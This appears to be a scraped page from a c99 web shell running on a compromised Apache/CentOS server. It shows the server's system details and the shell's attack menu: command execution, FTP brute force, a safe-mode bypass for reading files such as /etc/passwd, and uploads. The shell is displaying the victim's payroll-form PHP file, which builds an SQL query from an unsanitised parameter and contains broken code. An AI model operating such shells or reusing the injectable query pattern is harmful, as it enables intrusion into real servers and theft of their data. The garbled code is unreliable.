!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/_manage_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditSalary.php (4.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
ConnectDB();

$sql "Select * From salary_type_tb Where  SalaryId='$SalaryId' ";
$resultmysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.style4 {
    font-family: Tahoma;
    font-size: 14px;
}
.style5 {font-size: 14px}
-->
</style>
<table width="617" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="617"><br>
          <fieldset>
          <div align="center">
            <form id="form1" name="form1" method="post" action="EditSalaryType.php">
                <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="83%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  <tr bgcolor="#F3D6F2">
                    <td colspan="3" bgcolor="#FFFFFF"><div align="center"><font color="#999999"><strong><span class="style4"><font color="#000000">¢éÍÁÙž×é¹°Ò¹à§Ô¹à´×͹</font></span></strong></font></div></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td width="34%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style5"><font face="Tahoma">ÃËÑÊ¢éÍÁÙž×é¹°Ò¹</font></div></td>
                    <td width="1%" bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td width="65%" bordercolor="#FFFFCC" bgcolor="#FFFFFF"></font><font size="2" face="Tahoma">
                      <input name="SalaryId" type="text" class="style4" id="SalaryId" value="<? echo $rss[SalaryId]?>" size="2" maxlength="2" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center" class="style5"><font face="Tahoma">ÃÒ¡ÒÃ</font></div></td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
                      <input name="Detail" type="text" id="Detail" value="<? echo $rss[Detail];?>" size="25" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><label>
                      <input type="radio" name="SalaryStatus"  <?php if (!(strcmp("$rss[SalaryStatus]","Dr"))){echo "checked";} ?>  value="Dr" />
                      <font face="Tahoma">´éÒ¹ÃÒÂÃѺ 
                      <input type="radio" name="SalaryStatus"  <?php if (!(strcmp("$rss[SalaryStatus]","Cr"))){echo "checked";} ?>  value="Cr" />
                      <font face="Tahoma">´éÒ¹ÃÒ¨èÒÂ</font></font></label></td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3F3F3">
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#F3D6F2">
                    <td colspan="3" bgcolor="#FFFFFF"><div align="center">
                      <input name="SalaryId" type="hidden" id="SalaryId" value="<? echo $rss[SalaryId]?>" />
                      <input name="Submit" type="submit" class="WIDTH60" id="Submit" value="ºÑ¹·Ö¡" />
                      <input name="Reset" type="reset" class="WIDTH60" id="Reset" value="Reset" />
&nbsp;
<input type="button" name="Submit" value="»Ô´Ë¹éÒµèÒ§" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
                    </div></td>
                  </tr>
                </table>
              </form>
          </fieldset>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2">
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0154 ]--